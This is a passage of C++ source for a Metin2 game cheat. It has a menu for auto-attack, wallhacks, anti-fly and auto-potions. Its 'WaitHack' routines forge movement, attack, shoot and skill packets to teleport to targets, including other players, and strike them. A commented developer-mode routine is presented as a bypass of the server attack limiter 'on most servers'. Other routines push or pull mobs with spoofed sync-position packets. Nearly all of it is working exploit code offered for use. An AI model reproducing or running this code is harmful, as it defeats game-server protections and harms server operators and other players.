&mainPos); + CRender::Circle3D(mainPos.x, mainPos.y, Settings::MAIN_WH_DISTANCE_VALUE, 60.0f, Settings::MAIN_WH_RENDER_COLOR); + } + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("AtakBorder", ImVec2(ImGui::GetWindowWidth() - 10, 120), true); + if (ImGui::Checkbox("Auto Attack ", &Settings::MAIN_ATTACK_ENABLE)) + { + lastPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + } + else + { + GameFunctions::PlayerSetAttackKeyState(false); + } + ImGui::SameLine(); + ImGui::Checkbox("Mob Detect", &Settings::MAIN_MOB_DETECT_ENABLE); + ImGui::Checkbox("Rotation", &Settings::MAIN_ROTATION_ENABLE); + ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::SliderInt("Rotation Frequency", &Settings::MAIN_ROTATION_SPEED_VALUE, 1, 100); + ImGui::Checkbox("Auto Revive", &Settings::MAIN_AUTO_REVIVE_ENABLE); ImGui::SameLine(); + ImGui::SliderInt("Resume Attack After HP %", &Settings::MAIN_AUTO_REVIVE_PERCENTAGE_VALUE, 1, 100); + ImGui::EndChild(); + ImGui::PopStyleVar(); /*ImGui::SameLine();*/ + + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("OtherBorder", ImVec2(ImGui::GetWindowWidth() - 10, 180), true); + ImGui::Checkbox("Wallhack Mob", &Settings::MAIN_WALL_MOB_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Wallhack Object", &Settings::MAIN_WALL_OBJECT_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Wallhack Terrain", &Settings::MAIN_WALL_TERRAIN_ENABLE); + ImGui::Checkbox("Enemy AntiFly", &Settings::MAIN_NOK_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Player AntiFly", &Settings::MAIN_NOP_ENABLE); + ImGui::Checkbox("Detect Stones", &Settings::MAIN_STONE_DETECT_ENABLE); + switch (Globals::Server) + { + case ServerName::MEDIUMMT2: + ImGui::Checkbox("Medium Mobber", &Settings::MAIN_MOBBER_ENABLE); + break; + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("WHBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("WaitHack", &Settings::MAIN_WH_ENABLE); + ImGui::RadioButton("Standard", &Settings::MAIN_WH_ATTACK_TYPE, 0); + ImGui::SameLine(); + ImGui::RadioButton("Target", &Settings::MAIN_WH_ATTACK_TYPE, 1); +#ifdef DEVELOPER_MODE + ImGui::SameLine(); + ImGui::RadioButton("Standard+", &Settings::MAIN_WH_ATTACK_TYPE, 2); +#endif + ImGui::PushItemWidth(100); ImGui::InputInt("Time(ms)", &Settings::MAIN_WH_TIME, 5, 100); + ImGui::Checkbox("Range", &Settings::MAIN_WAITHACK_RANGE_ENABLE); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputInt("Attack Distance", &Settings::MAIN_WH_DISTANCE_VALUE, 100, 1000); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputInt("Teleport Step", &Settings::MAIN_WH_DISTANCE_STEP, 100, 1000); + ImGui::RadioButton("Sword", &Settings::MAIN_WH_WEAPON_TYPE, 0); ImGui::SameLine(); + ImGui::RadioButton("Bow", &Settings::MAIN_WH_WEAPON_TYPE, 1); + + ImGui::Text("Applies to"); + ImGui::Checkbox("Monster", &Settings::MAIN_WH_MONSTER); ImGui::SameLine(); + ImGui::Checkbox("Metin", &Settings::MAIN_WH_METIN); ImGui::SameLine(); + ImGui::Checkbox("Boss", &Settings::MAIN_WH_BOSS); ImGui::SameLine(); + ImGui::Checkbox("Player", &Settings::MAIN_WH_PLAYER); + +#ifdef DEVELOPER_MODE + ImGui::RadioButton("Skill", &Settings::MAIN_WH_WEAPON_TYPE, 2); ImGui::SameLine(); + ImGui::InputInt("Chmura Multipler", &chmuraCount, 0, 0); + ImGui::InputInt("Skill Number", &Settings::MAIN_WH_SKILL_VALUE, 1, 111); ImGui::SameLine(); + ImGui::InputInt("Skill Time", &Settings::MAIN_WH_SKILL_COOLDOWN_TIME, 1, 10); + ImGui::Checkbox("Odpychanie", &Odpychanie); ImGui::SameLine(); + ImGui::InputInt("Odpychanie Time", &odpychanieTime); + ImGui::Checkbox("Przyciaganie", &Przyciaganie); ImGui::SameLine(); + ImGui::InputInt("Przyciaganie Time", &przyciaganieTime); + ImGui::InputInt("Animation", &Animation); + ImGui::InputInt("Attach Range", &range); + ImGui::InputInt("ExternalForce Range", &range2); +#endif + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab3() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("MHUsager", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("HP Potion ", &Settings::MAIN_RED_POTION_ENABLE); + ImGui::PushItemWidth(100); ImGui::SliderInt("Speed(ms)##1", &Settings::MAIN_RED_POTION_SPEED_VALUE, 1, 1000); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::SliderInt("Below % HP", &Settings::MAIN_RED_POTION_PERCENTAGE_VALUE, 1, 100); + ImGui::Separator(); + ImGui::Checkbox("MP Potion ", &Settings::MAIN_BLUE_POTION_ENABLE); + ImGui::PushItemWidth(100); ImGui::SliderInt("Speed(ms)##2", &Settings::MAIN_BLUE_POTION_SPEED_VALUE, 1, 1000); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::SliderInt("Below % MP", &Settings::MAIN_BLUE_POTION_PERCENTAGE_VALUE, 1, 100); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab4() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("SkillsBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::IconButton2(&Settings::MAIN_SKILL_1_ENABLE, "Skill 1", texture_Skill_0, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::IconButton2(&Settings::MAIN_SKILL_2_ENABLE, "Skill 2", texture_Skill_1, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::IconButton2(&Settings::MAIN_SKILL_3_ENABLE, "Skill 3", texture_Skill_2, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::IconButton2(&Settings::MAIN_SKILL_4_ENABLE, "Skill 4", texture_Skill_3, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::IconButton2(&Settings::MAIN_SKILL_5_ENABLE, "Skill 5", texture_Skill_4, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::IconButton2(&Settings::MAIN_SKILL_6_ENABLE, "Skill 6", texture_Skill_5, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(10, "General"); + MainForm::AddTab(11, "WaitHack"); + MainForm::AddTab(12, "Potions"); + MainForm::AddTab(13, "Skills"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 10: + OnTab1(); + break; + case 11: + OnTab2(); + break; + case 12: + OnTab3(); + break; + case 13: + OnTab4(); + break; + } + } + +private: + bool Revive() + { + if (!Settings::MAIN_AUTO_REVIVE_ENABLE) + { + autoReviveNeedWait = false; + return false; + } + if (GameFunctionsCustom::PlayerIsDead()) + { + if (DynamicTimer::CheckAutoSet("Revive", 1000)) + { + GameFunctionsCustom::PlayerRevive(); + autoReviveNeedWait = true; + GameFunctions::PlayerSetAttackKeyState(false); + } + return true; + } + + else if (GameFunctionsCustom::GetHpProcentageStatus() < Settings::MAIN_AUTO_REVIVE_PERCENTAGE_VALUE && autoReviveNeedWait) + { + return true; + } + else if (GameFunctionsCustom::GetHpProcentageStatus() > Settings::MAIN_AUTO_REVIVE_PERCENTAGE_VALUE&& autoReviveNeedWait) + { + if (playerUsingHorse) + { + GameFunctionsCustom::MountHorse(); + } + autoReviveNeedWait = false; + return false; + } + else + { + return false; + } + } + bool IsAttackMobDistance() + { + if (((GetTickCount() - lastTimeAttackEnable) > 500)) + { + + if (GameFunctionsCustom::GetObjectListCount(OBJECT_MOB, 300) == 0) + { + + return false; + } + else + { + return true; + } + + + + lastTimeAttackEnable = GetTickCount(); + } + + else + { + return false; + } + + + } + + void Skill() + { + + if (Settings::MAIN_SKILL_1_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(1) && !GameFunctions::PlayerIsSkillCoolTime(1)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 1); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 1); + } + } + + } + if (Settings::MAIN_SKILL_2_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(2) && !GameFunctions::PlayerIsSkillCoolTime(2)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 2); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 2); + } + } + + } + if (Settings::MAIN_SKILL_3_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(3) && !GameFunctions::PlayerIsSkillCoolTime(3)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 3); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 3); + } + } + + } + if (Settings::MAIN_SKILL_4_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(4) && !GameFunctions::PlayerIsSkillCoolTime(4)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 4); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 4); + } + } + + } + if (Settings::MAIN_SKILL_5_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(5) && !GameFunctions::PlayerIsSkillCoolTime(5)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 5); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 5); + } + } + + } + if (Settings::MAIN_SKILL_6_ENABLE) + { + if (!GameFunctions::PlayerIsSkillActive(6) && !GameFunctions::PlayerIsSkillCoolTime(6)) + { + if (playerUsingHorse) + { + DelayActions::AppendBlockUnique(true, 700, "Skill", &GameFunctionsCustom::UseSkillSlot, 6); + } + else + { + DelayActions::AppendBlockUnique(true, 300, "Skill", &GameFunctionsCustom::UseSkillSlot, 6); + } + } + + } + } + + bool WHCanAttack(int targetType, bool isBoss) + { + bool canAttack = false; + if (targetType == TYPE_ENEMY && !isBoss && Settings::MAIN_WH_MONSTER) + { + canAttack = true; + } + if (targetType == TYPE_ENEMY && isBoss && Settings::MAIN_WH_BOSS) + { + canAttack = true; + } + if (targetType == TYPE_STONE && Settings::MAIN_WH_METIN) + { + canAttack = true; + } + if (targetType == TYPE_PC && Settings::MAIN_WH_PLAYER) + { + canAttack = true; + } + return canAttack; + } + + void SwordWH() + { + D3DVECTOR oldPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &oldPosition); + D3DVECTOR newPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, Settings::MAIN_WH_DISTANCE_VALUE); + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &oldPosition); + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &newPosition); + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, oldPosition, newPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + + GameFunctionsCustom::NetworkStreamSendAttackPacket(0, vid); + + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, newPosition, oldPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + } + } + + void BowWH() + { + D3DVECTOR newPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, Settings::MAIN_WH_DISTANCE_VALUE); + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &newPosition); + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ newPosition.x, newPosition.y, newPosition.z }); + + } + if (objectList.size()) + { + GameFunctions::NetworkStreamSendShootPacket(0); + } + + } +public: + void ResetSkillTimer() + { + lastWaitHackSkillDelay = 0; + } +private: +#ifdef DEVELOPER_MODE + void SkillWH() + { + D3DVECTOR oldPosition; + D3DVECTOR newPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, Settings::MAIN_WH_DISTANCE_VALUE); + if (objectList.size() > 0) + { + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + if ((GetTickCount() - Main::lastWaitHackSkillDelay) > Settings::MAIN_WH_SKILL_COOLDOWN_TIME * 1000) + { + GameFunctions::NetworkStreamSendUseSkillPacket(Settings::MAIN_WH_SKILL_VALUE, vid); + Main::lastWaitHackSkillDelay = GetTickCount(); + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &oldPosition); + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &newPosition); + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, oldPosition, newPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ newPosition.x, newPosition.y, newPosition.z }); + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + GameFunctions::NetworkStreamSendShootPacket(Settings::MAIN_WH_SKILL_VALUE); + vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, newPosition, oldPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + + } + if (!Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + GameFunctions::NetworkStreamSendShootPacket(Settings::MAIN_WH_SKILL_VALUE); + } + } + } + + //chmurka tak bardzo przez was poszukiwana - obejscie limitera na wiekszosci serwerwo + + void SkillWHx50() + { + D3DVECTOR oldPosition; + D3DVECTOR newPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, Settings::MAIN_WH_DISTANCE_VALUE); + if (objectList.size() > 0) + { + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + if ((GetTickCount() - Main::lastWaitHackSkillDelay) > Settings::MAIN_WH_SKILL_COOLDOWN_TIME * 1000) + { + GameFunctions::NetworkStreamSendUseSkillPacket(Settings::MAIN_WH_SKILL_VALUE, vid); + Main::lastWaitHackSkillDelay = GetTickCount(); + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &oldPosition); + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &newPosition); + + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, oldPosition, newPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + if (type == TYPE_ENEMY && !GameFunctionsCustom::InstanceIsBoss(itor->second)) + { + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ newPosition.x, newPosition.y, newPosition.z }); + GameFunctions::NetworkStreamSendShootPacket(Settings::MAIN_WH_SKILL_VALUE); + } + else + { + for (int i = 0; i < chmuraCount; i++) + { + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ 0,0,0 }); + GameFunctions::NetworkStreamSendShootPacket(Settings::MAIN_WH_SKILL_VALUE); + } + } + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, newPosition, oldPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + i++; + } + } + + } + } + } +#endif + void Target() + { + DWORD vid = GameFunctions::PlayerGetTargetVID(); + if (vid == 0) + { + return; + } + D3DVECTOR oldPosition; + D3DVECTOR newPosition; + DWORD* targetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + DWORD targetType = GameFunctions::InstanceBaseGetInstanceType(targetInstance); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(targetInstance); + GameFunctions::InstanceBaseNEW_GetPixelPosition(targetInstance, &newPosition); + if (targetInstance != 0) + { + if (WHCanAttack(targetType, isBoss) == false) + { + return; + } + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(newPosition, 0, 0, 0); + } + switch (Settings::MAIN_WH_WEAPON_TYPE) + { + case 0: + GameFunctionsCustom::NetworkStreamSendAttackPacket(0, vid); + break; + case 1: + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ newPosition.x, newPosition.y, newPosition.z }); + GameFunctions::NetworkStreamSendShootPacket(0); + break; + +#ifdef DEVELOPER_MODE + case 2: + if ((GetTickCount() - Main::lastWaitHackSkillDelay) > (Settings::MAIN_WH_SKILL_COOLDOWN_TIME * 1000)) + { + GameFunctions::NetworkStreamSendUseSkillPacket(Settings::MAIN_WH_SKILL_VALUE, vid); + Main::lastWaitHackSkillDelay = GetTickCount(); + } + for (int i = 0; i < 50; i++) { + GameFunctions::NetworkStreamSendAddFlyTargetingPacket(vid, D3DVECTOR{ 0,0,0 }); + GameFunctions::NetworkStreamSendShootPacket(Settings::MAIN_WH_SKILL_VALUE); + } + break; +#endif + } + if (Settings::MAIN_WAITHACK_RANGE_ENABLE) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(oldPosition, 0, 0, 0); + } + } + } + + + void WaitHack() + { + if (((GetTickCount() - lastWaitHackEnable) > Settings::MAIN_WH_TIME) && Settings::MAIN_WH_ENABLE) + { + + if (Settings::MAIN_WH_DETECT_PLAYER_ENABLE && GameFunctionsCustom::DetectPlayer(Settings::PROTECTION_DETECT_PLAYER_WHITE_LIST)) + { + return; + } + if (Settings::MAIN_WH_ATTACK_TYPE == 1) + { + Target(); + } + else if(Settings::MAIN_WH_ATTACK_TYPE == 0) + { + switch (Settings::MAIN_WH_WEAPON_TYPE) + { + case 0: + SwordWH(); + break; + case 1: + BowWH(); + break; +#ifdef DEVELOPER_MODE + case 2: + SkillWH(); + break; +#endif + } + } +#ifdef DEVELOPER_MODE + else if (Settings::MAIN_WH_WEAPON_TYPE == 2) + { + SkillWHx50(); + } +#endif + lastWaitHackEnable = GetTickCount(); + } + } + + +#ifdef DEVELOPER_MODE + bool Odpychanie = false; + bool Przyciaganie = false; + int odpychanieTime = 500; + int przyciaganieTime = 500; + int lastOdpychanie = 0; + int lastPrzyciaganie = 0; + + int Funkcja = 3; + int Animation = 17; + int range = 2000; + int range2 = 2000; + + void Odpychaj() + { + if ((GetTickCount() - Main::lastOdpychanie) > Main::odpychanieTime && Odpychanie) + { + Main::lastOdpychanie = GetTickCount(); + D3DVECTOR charPosition; + D3DVECTOR mobPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, range); + if (objectList.size() > 0) + { + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &charPosition); + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &mobPosition); + + //tp to mob + /*vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, charPosition, mobPosition); + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + }*/ + + //attach + D3DVECTOR newPosition{ charPosition.x, charPosition.y, charPosition.z }; + newPosition.x += range2; + newPosition.y -= range2; + GameFunctions::NetworkStreamSendCharacterStatePacket(newPosition, 0, Funkcja, Animation); + GameFunctions::NetworkStreamSendSyncPositionPacket(vid, newPosition.x, newPosition.y); + GameFunctions::InstanceBaseSCRIPT_SetPixelPosition(itor->second, newPosition.x, newPosition.y); + //tp back + /*vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, mobPosition, charPosition); + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + }*/ + } + } + } + } + + void Przyciagaj() + { + if ((GetTickCount() - Main::lastPrzyciaganie) > Main::przyciaganieTime && Przyciaganie) + { + Main::lastPrzyciaganie = GetTickCount(); + D3DVECTOR charPosition; + D3DVECTOR mobPosition; + map objectList = GameFunctionsCustom::GetObjectList(OBJECT_MOB | OBJECT_BOSS | OBJECT_STONE | OBJECT_PC, range); + if (objectList.size() > 0) + { + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + DWORD vid = itor->first; + DWORD type = GameFunctions::InstanceBaseGetInstanceType(itor->second); + bool isBoss = GameFunctionsCustom::InstanceIsBoss(itor->second); + if (WHCanAttack(type, isBoss) == false) + { + continue; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &charPosition); + GameFunctions::InstanceBaseNEW_GetPixelPosition(itor->second, &mobPosition); + + //tp to mob + /*vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, charPosition, mobPosition); + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + }*/ + + //attach + GameFunctions::NetworkStreamSendCharacterStatePacket(mobPosition, 0, Funkcja, Animation); + GameFunctions::NetworkStreamSendSyncPositionPacket(vid, charPosition.x, charPosition.y); + GameFunctions::InstanceBaseSCRIPT_SetPixelPosition(itor->second, charPosition.x, charPosition.y); + + //tp back + /*vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(Settings::MAIN_WH_DISTANCE_STEP, mobPosition, charPosition); + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + }*/ + } + } + } + } +#endif + + void Other() + { + if (Settings::MAIN_NOP_ENABLE) + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + GameFunctions::InstanceBase__SetAffect(GameFunctions::PlayerNEW_GetMainActorPtr(), 40, true); + break; + } + + default: + { + GameFunctions::InstanceBase__SetAffect(GameFunctions::PlayerNEW_GetMainActorPtr(), 16, true); + break; + } + } + } + + if (((GetTickCount() - lastMiniMHRotation) > (MiscExtension::RandomInt(500, 8000))) && Settings::MAIN_ROTATION_ENABLE) + { + if (MiscExtension::RandomInt(0, 100) < Settings::MAIN_ROTATION_SPEED_VALUE) + { + + + GameFunctions::InstanceSetRotation(GameFunctions::PlayerNEW_GetMainActorPtr(), MiscExtension::RandomInt(0, 360)); + + + + } + lastMiniMHRotation = GetTickCount(); + } + if ((GetTickCount() - lastTimeStonesArrowShow) > 4000 && Settings::MAIN_STONE_DETECT_ENABLE) + { + DWORD vid = GameFunctionsCustom::GetCloseObject(OBJECT_STONE); + if (vid > 0) + { + GameFunctionsCustom::PlayerShowTargetArrow(vid, 3); + + lastTimeStonesArrowShow = GetTickCount(); + } + + } + + } + + void MPPotion() + { + int slot = GameFunctionsCustom::FindItemSlotInInventory(27004); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27005); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27006); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + if (Globals::Server == ServerName::METINPL) + { + slot = GameFunctionsCustom::FindItemSlotInInventory(27008); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27052); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + } + } + + void Potions() + { + if (Settings::MAIN_RED_POTION_ENABLE) + { + if (GameFunctionsCustom::GetHpProcentageStatus() < Settings::MAIN_RED_POTION_PERCENTAGE_VALUE) + { + if (DynamicTimer::CheckAutoSet("HPPotion", Settings::MAIN_RED_POTION_SPEED_VALUE)) + { + HPPotion(); + } + + } + } + if (Settings::MAIN_BLUE_POTION_ENABLE) + { + if (GameFunctionsCustom::GetMpProcentageStatus() < Settings::MAIN_BLUE_POTION_PERCENTAGE_VALUE) + { + if (DynamicTimer::CheckAutoSet("MPPotion", Settings::MAIN_BLUE_POTION_SPEED_VALUE)) + { + MPPotion(); + } + } + } + } + + void HPPotion() + { + int slot = GameFunctionsCustom::FindItemSlotInInventory(27001); + if (slot != -1) + { + 